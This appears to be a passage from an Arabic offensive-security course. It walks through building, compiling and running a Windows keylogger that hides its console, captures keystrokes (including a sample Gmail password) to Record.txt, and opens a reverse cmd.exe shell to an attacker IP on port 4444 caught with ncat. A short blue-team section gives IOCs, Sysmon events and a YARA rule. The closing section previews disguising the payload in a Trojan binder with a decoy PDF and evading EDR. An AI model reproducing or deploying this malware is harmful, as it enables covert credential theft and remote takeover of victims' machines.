    [Chrome - Gmail] p@ssw0rd<enter>
  • إضافة Timestamp: time() + localtime() + strftime().
  • Format = CSV: 2026-09-09 12:34:56,Chrome,p.

كلّ هذه في homework.md في نفس مجلد المحاضرة.

✅ اختبر نفسك: القسم 8

  1. لماذا c += 32 تحوّل A إلى a؟ ادرس جدول ASCII للحروف.
  2. لو ضغطت الضحية Shift+A بدل A، أيّ منطقة تُطابَق؟
  3. ماذا يحدث لو ضغطت الضحية Ctrl+Alt+Del؟ اكتب ما سيظهر في السجلّ.
  4. لماذا case default: write << c قد يكتب قمامة غير قابلة للقراءة؟

القسم 9القسم 9: ofstream و ios::app — الكتابة على القرص لكلّ ضغطة

كيف يصل ما نلتقطه إلى Record.txt؟ عبر ofstream من مكتبة C++ القياسيّة.

السطر الحاسم

cpp
ofstream write(LOG_FILE, ios::app);
write << c;
write.close();

ثلاثة أسطر داخل حلقة الفحص لكلّ ضغطة. كلّ ضغطة = فتح، كتابة، إغلاق.

ofstream — Output File Stream

  • من <fstream>، مكتبة C++ قياسيّة.
  • كلاس RAII: يفتح الملف في المُنشئ (constructor)، يُغلقه في المُدمّر (destructor).
  • الاستعمال بأسلوب stream: << لكتابة أيّ نوع (int, char, string, double...).

البديل C-style (fopen, fputc, fclose) يعمل نفس الشيء لكنّه أكثر إسهاباً وأخطر (لو نسيت fclose يبقى مقبض الملف مفتوحاً حتى انتهاء العمليّة).

راية الفتح ios::app

ios::app = «append». كلّ كتابة تُلحَق في نهاية الملف، حتى لو تحرّك المؤشر يدويّاً.

بدائل:

  • ios::out (افتراضي): يفتح للكتابة، يحذف محتوى الملف الحاليّ إن كان موجوداً.
  • ios::ate: يفتح ويذهب لآخر الملف مرّةً واحدةً عند الفتح. الكتابات اللاحقة قد تُعيد الكتابة فوق نفسها إن تحرّك المؤشّر.
  • ios::app: يذهب لآخر الملف قبل كلّ write، حتى لو تحرّك المؤشّر.
  • ios::binary: يفتح بوضع ثنائي (لا تحويل \n إلى \r\n على Windows).

لكودنا ios::app هو الصحيح: لا نريد فقد محتوى الجلسة السابقة، ونريد ضمان الإلحاق.

لو نسيت ios::app واستعملت الافتراضي: عند كلّ ضغطة يُعاد فتح الملف، تُمحى محتوياته، تُكتب الضغطة الحاليّة فقط. ينتهي Record.txt بحرف واحد دائماً.

لماذا الفتح والإغلاق لكلّ ضغطة؟

ofstream write(LOG_FILE, ios::app); داخل الحلقة يعني: كلّ ضغطة تفتح الملف من جديد، تكتب، تُغلقه.

  • الميزة: لو تعطّل النظام أو انطفأ الجهاز، لا تُفقد ضغطات (كل ضغطة على القرص فوراً).
  • العيب: بطيء نسبيّاً. فتح ملف ≈ 0.5-2 ms على HDD، أقلّ على SSD. لو الضحيّة يكتب بسرعة كتابة (250 حرف/دقيقة = 4 حرف/ثانية) فالتأثير غير محسوس. لكن نظريّاً محدود.

البديل الأمثل: فتح مرّة واحدة خارج الحلقة، flush() كلّ N ضغطات أو كلّ ثانية:

cpp
ofstream write(LOG_FILE, ios::app);
for (;;) {
    for (c = 8; c < 222; c++) {
        if (GetAsyncKeyState(c) == -32767) {
            write << c;
            if (--flush_counter == 0) { write.flush(); flush_counter = 100; }
        }
    }
}
write.close();  // لا يُنفَّذ لأنّنا لا نخرج أبداً
  • أسرع 10-100 مرّة.
  • أخطر: لو تعطّل البرنامج قبل flush، تُفقد آخر N ضغطات.
  • كودنا التعليميّ يختار البساطة على الأداء.

write << c; — لماذا c وليس (char)c؟

  • c من نوع unsigned char.
  • ofstream::operator<<(unsigned char) يكتب البايت كما هو (بلا تحويل).
  • لو كان c من نوع int لكتب النصّ العدديّ ("104" بدل الحرف 'h').

هذا فخّ كلاسيكيّ لمن يبدأ في C++: تفريق مهم بين char (يُكتب حرفاً) و int (يُكتب رقماً كنصّ).

موقع الملف

LOG_FILE "Record.txt" — مسار نسبيّ. عندما يشتغل keylogger_edu.exe، الملف يُكتب في مجلد العمل الحاليّ.

  • من Explorer (double-click): مجلد الـ EXE.
  • من cmd.exe cd C:\Temp && keylogger_edu.exe: C:\Temp\Record.txt.
  • من مُشغِّل خدمات: C:\Windows\System32 غالباً — لا نريد هذا.

لتوصيل الحمولة في هجوم حقيقيّ (المحاضرة 2A) يجب مسار مُطلق داخل %APPDATA%\... حتى نضمن مكان معروف.

✅ اختبر نفسك: القسم 9

  1. ما الفرق بين ios::app و ios::ate؟
  2. لو نسيت write.close() قبل break، ماذا يحدث في هذه الحلقة؟
  3. لماذا write << c تكتب حرفاً وليس رقماً، بينما write << 65 تكتب «65»؟
  4. السجلّ ينمو بمعدّل ثابت ~1 KB/دقيقة بينما الضحيّة لا يكتب. ما التفسير؟

القسم 10القسم 10: main() كاملاً — التتبّع التفاعلي

وصلنا للسطر الأخير. main() تربط كلّ ما تعلّمناه.

الكود التنفيذي الفعلي — keylogger_edu.cpp — main()

cpp
// keylogger_edu.cpp — main()
// المايسترو: تُخفي، تُهيّئ، تُطلق ثلاثة خيوط، ثم تنام للأبد.
int main()
{
    hide();                                                      // ① القسم 1

    WSAStartup(MAKEWORD(2, 2), &wsaData);                        // ② القسم 2
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,       // ③
                        NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family      = AF_INET;                               // ④ القسم 3
    hax.sin_port        = htons(ATTACKER_PORT);                  // ⑤
    hax.sin_addr.s_addr = inet_addr(ATTACKER_IP);                // ⑥

    CreateThread(NULL, 0, ConnectThread, NULL, 0, NULL);         // ⑦ القسم 5
    CreateThread(NULL, 0, ShellThread,   NULL, 0, NULL);         // ⑧ القسم 6

    thread logThread(log);                                       // ⑨ القسم 7-9

    if (logThread.joinable())
    {
        logThread.join();                                        // ⑩ ننام للأبد
    }

    return 0;   // لن يُنفَّذ أبداً
}

التسلسل المرقّم

#الفعلالقسم المرجعي
①إخفاء نافذة consoleالقسم 1
②تحميل مكتبة Winsockالقسم 2
③إنشاء مقبض سوكِتالقسم 2
④عائلة العنوان IPv4القسم 3
⑤رقم المنفذ بترتيب الشبكةالقسم 3
⑥عنوان IP كعدد 32-بتالقسم 3
⑦إطلاق ConnectThreadالقسم 5
⑧إطلاق ShellThreadالقسم 6
⑨إطلاق logThreadالقسم 4+7
⑩main تنام على joinالقسم 4

🎯 التتبّع التفاعلي — استعمِله الآن

تحت هذا السطر مباشرة سيظهر زرّ «ابدأ التتبّع» يفتح واجهةً تخطو معك في main سطراً سطراً:

  • على اليسار: كتلة الكود مع تظليل الأسطر النشطة.
  • على اليمين: مخطّط الدوال المُستدعاة (main يستدعي hide، ثم Winsock، ثم الخيوط الثلاثة).
  • في الأسفل: شرح كلّ خطوة بلغة الطالب، مع التبديل بين Python المبسّطة و C++ الأصل بضغطة تبويب.

التتبّع يغطّي 11 خطوة: الدخول → hide → Winsock → sockaddr_in → الخيوط الثلاثة (بالتفصيل) → join → الحلقة الداخليّة في log() → البوابة → الترجمة → الكتابة → وإعادة الشريط لحالة «لم يُضغط شيء» (المسار الشائع).

ما بعد return 0

return 0 لا يُنفَّذ أبداً في هذا الكود. logThread.join() يعلّق main إلى الأبد. المُصرِّف يتطلّبه لأنّ توقيع main يقول int.

  • يمكن حذفه في C++ منذ C++98 (main حالة خاصّة: يُدرَج return 0 ضمنيّاً).
  • كتابته صراحةً أوضح للقارئ.
  • لو استُبدل logThread بشيء ينتهي (تخيّل: logThread يخرج بعد N ضغطة)، سيُنفَّذ return 0 وتُنهى العمليّة.

لماذا لا WSACleanup() في النهاية؟

WSACleanup() تُحرّر موارد Winsock. الكود المتحضّر يستدعيها قبل الخروج. لماذا لا نفعل؟

  • لأنّنا لا نخرج أبداً (join لا نهائيّ).
  • نظام التشغيل يُحرّر كلّ الموارد عند خروج العمليّة (تسريب مقبض 4 بايت لثانيتين، غير مهمّ).
  • كود إنتاج نظيف: WSACleanup() في handler لـ SIGINT.

✅ اختبر نفسك: القسم 10

  1. ما ترتيب التنفيذ الفعليّ في main() من الأعلى للأسفل؟
  2. لو حذفت if (logThread.joinable()) وأبقيت logThread.join()، هل يتغيّر السلوك؟
  3. لماذا كلّ العمليّة تحمل اسم keylogger_edu.exe في Task Manager، مع أنّها تُشغّل cmd.exe كخيط؟ ما الفرق بين خيط وعمليّة هنا؟
  4. استعمل التتبّع التفاعلي: عند أيّ خطوة تحديداً يبدأ الاتّصال الفعليّ بالمهاجم؟

القسم 11القسم 11: التشغيل في المختبر — VirtualBox + ncat

كلّ ما سبق نظريّ حتى تُشغّله. المختبر يتكوّن من قطعتين:

  • المهاجم: Host PC (جهازك الحقيقيّ) على 192.168.56.1 مع ncat مُنصت.
  • الضحيّة: Windows VM داخل VirtualBox على 192.168.56.10 مع keylogger_edu.exe يعمل.

الشبكة Host-Only

  • شبكة معزولة بين Host والـ VMs، بلا إنترنت.
  • عنوانها الافتراضيّ في VirtualBox: 192.168.56.0/24.
  • Host عليها كـ 192.168.56.1 (Adapter اسمه VirtualBox Host-Only Ethernet Adapter).
  • كلّ VM تحصل على عنوان 192.168.56.X (X ≥ 2 عادةً بـ DHCP).

لماذا Host-Only وليس NAT؟

  • NAT يعطي الـ VM إنترنتاً كاملاً — لا نريد هذا (خطر تسريب).
  • Host-Only يعزل الـ VM عن كلّ شيء إلا Host — بيئة تعليميّة نظيفة.

الخطوة 1: بناء الـ EXE على Host

bash
# داخل MSYS2 UCRT64 terminal:
cd /path/to/keylogger_edu.cpp
g++ keylogger_edu.cpp -o keylogger_edu.exe -lws2_32 -static
  • -lws2_32: يربط مكتبة Winsock (بلاها تفشل الرابطة).
  • -static: يضمّن كلّ المكتبات ستاتيكيّاً (لا حاجة libstdc++-6.dll على الضحيّة).

النتيجة: keylogger_edu.exe ~500 KB.

الخطوة 2: نقله للـ VM

  • VirtualBox Shared Folder: أنشئ مجلداً مشتركاً بين Host والـ VM.
  • أو Drag & Drop إن كان Guest Additions مثبّتاً.
  • أو scp عبر شبكة Host-Only (لو الـ VM تُشغّل OpenSSH).

الخطوة 3: تشغيل ncat على Host

قبل تشغيل الحمولة على الضحيّة، ابدأ المُنصت:

bash
ncat -lvp 4444
  • -l: listen.
  • -v: verbose (يطبع الاتصال).
  • -p 4444: على المنفذ 4444.

سترى:

text
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

الخطوة 4: تشغيل الحمولة على الضحيّة

على الـ VM، double-click keylogger_edu.exe. لا شيء يظهر (نافذة console مخفيّة). بعد ثوانٍ ترى في Host:

text
Ncat: Connection from 192.168.56.10.
Ncat: Connection from 192.168.56.10:52310.
Microsoft Windows [Version 10.0.19045.4780]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>

أنت الآن داخل الـ VM كأنّك أمام لوحة مفاتيحها.

الخطوة 5: تجربة الالتقاط

  • على الـ VM: افتح Notepad، اكتب: Hello World 123.
  • على الـ VM: افتح مجلد keylogger_edu.exe، افتح Record.txt.
  • سترى:
    text
    <shift> 
    hello <shift> 
    world 123
  • على Host (شاشة ncat): اكتب whoami، اضغط Enter.
  • يظهر:
    text
    C:\Users\Victim\Desktop>whoami
    desktop-abc123\victim

دورة العمل الكاملة

text
Host PC (192.168.56.1)                        Windows VM (192.168.56.10)
┌──────────────────────┐                     ┌───────────────────────────┐
│                      │                     │                           │
│ ncat -lvp 4444       │◀────TCP 4444────────│ keylogger_edu.exe         │
│                      │                     │   ├── hide()              │
│  C:\...>whoami       │────stdin over sock──▶│   ├── ConnectThread       │
│  desktop-abc\victim  │◀───stdout over sock──│   ├── ShellThread         │
│                      │                     │   │    └── cmd.exe        │
│                      │                     │   └── logThread            │
│                      │                     │        └── Record.txt     │
└──────────────────────┘                     └───────────────────────────┘

تنظيف بعد التجربة

  • على الـ VM: Task Manager → End task → keylogger_edu.exe.
  • على الـ VM: احذف keylogger_edu.exe و Record.txt.
  • على Host: Ctrl+C لإنهاء ncat.
  • استعادة snapshot الـ VM النظيف لضمان بيئة نظيفة للمحاضرة القادمة.

لماذا لا يمكن نقل هذا خارج المختبر؟

لأنّ:

  • الحمولة تتّصل بعنوان محدّد 192.168.56.1 — لن يصل إلى الإنترنت.
  • شبكة Host-Only معزولة عن كلّ شيء.
  • لو غيّرت العنوان إلى IP إنترنت حقيقيّ، ستكون نقلت الأمر خارج ولاية المحاضرة القانونية — لا تفعل.

✅ اختبر نفسك: القسم 11

  1. لماذا نبدأ ncat قبل تشغيل الحمولة وليس بعدها؟ (فكّر في حلقة WSAConnect والزخم).
  2. لو نسيت -static عند البناء، ماذا يحدث عند تشغيل الـ EXE على الضحيّة؟
  3. لماذا الـ VM تحتاج IP في مدى 192.168.56.X بالضبط؟ ماذا يحدث لو أعطيتها 10.0.0.5 يدويّاً؟
  4. كيف تُثبت لأستاذك أنّ الحمولة عملت فعلاً بدون فتح Record.txt؟

القسم 12القسم 12: من عيون الدفاع — البصمات و IOCs

نحن بنينا. الآن نلبس قبعة الأزرق. ماذا يرى مُحلّل SOC؟

Static IOCs (الملفّ نفسه)

  • الحجم: ~500 KB — ملف صغير غير معتاد لـ EXE في Windows حديث (معظم البرامج > 5 MB).
  • بلا Signing: الملف بلا رقميّة توقيع رقميّ. Windows SmartScreen يعترض عند التنزيل الأوّل.
  • Imports: يستورد ws2_32.dll + user32.dll + kernel32.dll. الأخيران عاديّان، ws2_32.dll مع GetAsyncKeyState = علامة استفهام قويّة.
  • Strings: البحث في strings يجد Record.txt, cmd.exe, ConsoleWindowClass, IP هدف 192.168.56.1. هذه IOCs مباشرة لأيّ YARA rule.
  • Hash (SHA-256): عند مشاركة العيّنة، الـ hash يُنشر في VirusTotal ويُصبح مؤشراً.

Runtime IOCs (سلوك أثناء التشغيل)

  • Process Tree: keylogger_edu.exe → cmd.exe. cmd.exe كطفل لعمليّة اسمها غير قياسي = علامة تنبيه.
  • Network: اتّصال خارج على منفذ 4444. أيّ نظام كشف يعرف هذا المنفذ.
  • API calls: GetAsyncKeyState مئات المرّات/الثانية + FindWindowA("ConsoleWindowClass") + ShowWindow(HWND, 0) = combo واضح لـ EDR (CrowdStrike, SentinelOne, Defender for Endpoint).
  • File I/O: كتابة متكرّرة على Record.txt في نفس المجلد.

Sysmon Events

  • Event ID 1: Process create (keylogger_edu.exe, وأمّه explorer.exe).
  • Event ID 1: Process create (cmd.exe, وأمّه keylogger_edu.exe) ← الحلقة الحرجة.
  • Event ID 3: Network connection (keylogger_edu.exe → 192.168.56.1:4444).
  • Event ID 11: File create (Record.txt).
  • Event ID 13: Registry Set — لا يوجد (لأنّنا لا نُثبّت Persistence بعد).

قاعدة SIEM بسيطة: parent=keylogger_edu.exe AND child=cmd.exe AND Event_ID=1 = هجوم مؤكّد.

Detection Signatures (YARA)

yara
rule EducationalKeylogger_Basic
{
    meta:
        author = "Bootcamp Phase 1"
        description = "Detects the educational keylogger from Lecture 1"
    strings:
        $s1 = "ConsoleWindowClass" ascii
        $s2 = "Record.txt" ascii
        $s3 = "STARTF_USESTDHANDLES"  // string in binary
        $s4 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? }  // FindWindowA call pattern
    condition:
        3 of them and filesize < 1MB
}

قاعدة تعليميّة فقط. في الواقع تحتاج تحسينات كثيرة لتجنّب False Positives.

Blue Team Response

  1. Isolate: افصل الجهاز عن الشبكة (Endpoint Isolation في EDR الحديث).
  2. Kill: taskkill /F /IM keylogger_edu.exe.
  3. Collect: حفظ العيّنة، Record.txt، الاتّصالات الشبكيّة.
  4. Analyze: hash → VirusTotal، strings → IOCs.
  5. Hunt: بحث عن نفس الـ hash أو strings في بقيّة الأجهزة.
  6. Attribute: ماذا يشبه؟ — في مختبرنا كود من GitHub تعليميّ (HashHashBit/Keylogger4).

لماذا لا يُكشف Keylogger في العالم الحقيقيّ رغم كلّ هذا؟

  • المهاجم الجدّي يُعدّل الكود قليلاً → يتغيّر الـ hash → لا يُطابق أيّ signature.
  • Packing/Obfuscation → strings مخفيّة.
  • استعمال Windows APIs بديلة (SetWindowsHookEx وحوامل رسائل) → لا GetAsyncKeyState في strings.
  • Living-Off-The-Land: تنفيذ في powershell.exe أو mshta.exe بدل EXE منفصل — نراه في المحاضرة 3.

هذا هو الدرس الأهمّ: كشف الـ IOCs الثابتة يُوقف السيّئ من المهاجمين. الجيّدون يتخطّونها. الكشف السلوكي (behavioral) هو المستقبل.

✅ اختبر نفسك: القسم 12

  1. اذكر ثلاث IOCs ثابتة لهذه الحمولة يمكن كشفها بلا تشغيلها.
  2. لماذا Sysmon Event ID 3 أهمّ من Event ID 1 هنا؟
  3. اقترح تعديلاً على الحمولة يُبطل قاعدة YARA أعلاه بلا تغيير في الوظيفة.
  4. محلّل SOC يجد cmd.exe كطفل لـ chrome.exe. هل يستحقّ هذا نفس الاهتمام؟ لماذا؟

القسم 13القسم 13: الخلاصة والجسر إلى المحاضرة 2A

وصلنا. حمولة عاملة في يدك — لكن لا تصل إلى الضحيّة بعد.

ما أنجزناه اليوم

  • فهمنا بنية PE وكيف تتحمّل main مسؤولية التنسيق.
  • بنينا hide() لإخفاء نافذة console بالأسلوب الأبسط.
  • هيّأنا طبقة Winsock من الصفر: WSAStartup → WSASocket → sockaddr_in.
  • أطلقنا ثلاثة خيوط بالتوازي، مزجاً بين Win32 API و C++11.
  • استوعبنا سرّ GetAsyncKeyState == -32767 وثلاث مناطق الترجمة.
  • كتبنا إلى القرص بأسلوب فتح/إغلاق-لكلّ-ضغطة.
  • تتبّعنا main() تفاعليّاً خطوة بخطوة.
  • اختبرنا الحمولة في مختبر VirtualBox معزول.
  • رأينا الحمولة من عيون الدفاع.

ما لم نُنجزه بعد (لكن سنُنجزه)

المحاضرةما تُضيفهلماذا نحتاجه
2A — Trojan Binderغلاف EXE يحمل الحمولة + PDF طُعملا نستطيع إعطاء الضحيّة keylogger_edu.exe مباشرةً — يجب تنكّرها
3 — HTA + LOLBinsوسيلة توصيل عبر mshta.exe بدل EXEتجاوز SmartScreen، عيش على أدوات النظام
4 — MITRE Mappingربط الحمولة بـ ATT&CK Techniquesلغة مشتركة مع الأزرق
Phase 2 — Persistenceتشغيل تلقائيّ عند الإقلاعالحمولة تعيش عبر إعادة التشغيل
Phase 2 — Evasionتجاوز EDR/AMSIلا تُكشف بواسطة أدوات SOC

الجسر المباشر إلى المحاضرة 2A

keylogger_edu.exe في يدك. المحاضرة 2A ستأخذه وتسأل: كيف نُعطي الضحيّة هذا الملف بحيث تُشغّله بلا أن تشكّ؟

الإجابة: نبني Trojan Binder — EXE واحد يحمل PDF طُعم + keylogger_edu.exe معاً. عند النقر:

  • يفتح PDF عاديّ للضحيّة (تنكّر بصريّ).
  • يستخرج الحمولة إلى %APPDATA% ويُشغّلها خفيةً.

سترى هناك نفس keylogger_edu.exe الذي بنيته اليوم يُضمَّن كمورد داخل EXE أكبر.

ما يجب أن تُنجزه قبل المحاضرة 2A

  1. بناء keylogger_edu.exe وتشغيله بنجاح في المختبر (خطوات القسم 11).
  2. قراءة homework.md في هذا المجلد — أضف Window Title tracking (Option A).
  3. قراءة الكود كاملاً src/keylogger_edu.cpp — لا سطر بلا فهم.
  4. تجربة التتبّع التفاعليّ (القسم 10) — تأكّد أنّك تتوقّع الخطوة القادمة قبل أن تُظهرها الواجهة.

قراءات إضافيّة (اختيارية)

الخلاصة في سطر

بنيت حمولة APT عاملة بيديك. الآن تفهم كلّ سطر فيها. المحاضرة 2A تُعلّمك كيف تصل إلى الضحيّة.

✅ اختبر نفسك: الخلاصة

  1. لخّص وظيفة كلّ من الخيوط الثلاثة في جملة واحدة لكلّ خيط.
  2. لماذا هذه الحمولة تحتاج «توصيلاً» (المحاضرة 2A) ولا تعمل وحدها في هجوم حقيقيّ؟
  3. محلّل SOC يسألك: «ما أسرع طريقة لكشف هذه الحمولة بعد تنفيذها؟» ماذا تجيب؟
  4. لو أُضطررت لشرح الفارق بين «حمولة» و «توصيل» لمدير غير تقنيّ، كيف تشرحه بجملة واحدة؟

نراك في المحاضرة 2A — Trojan Binder: إخفاء EXE داخل EXE آخر.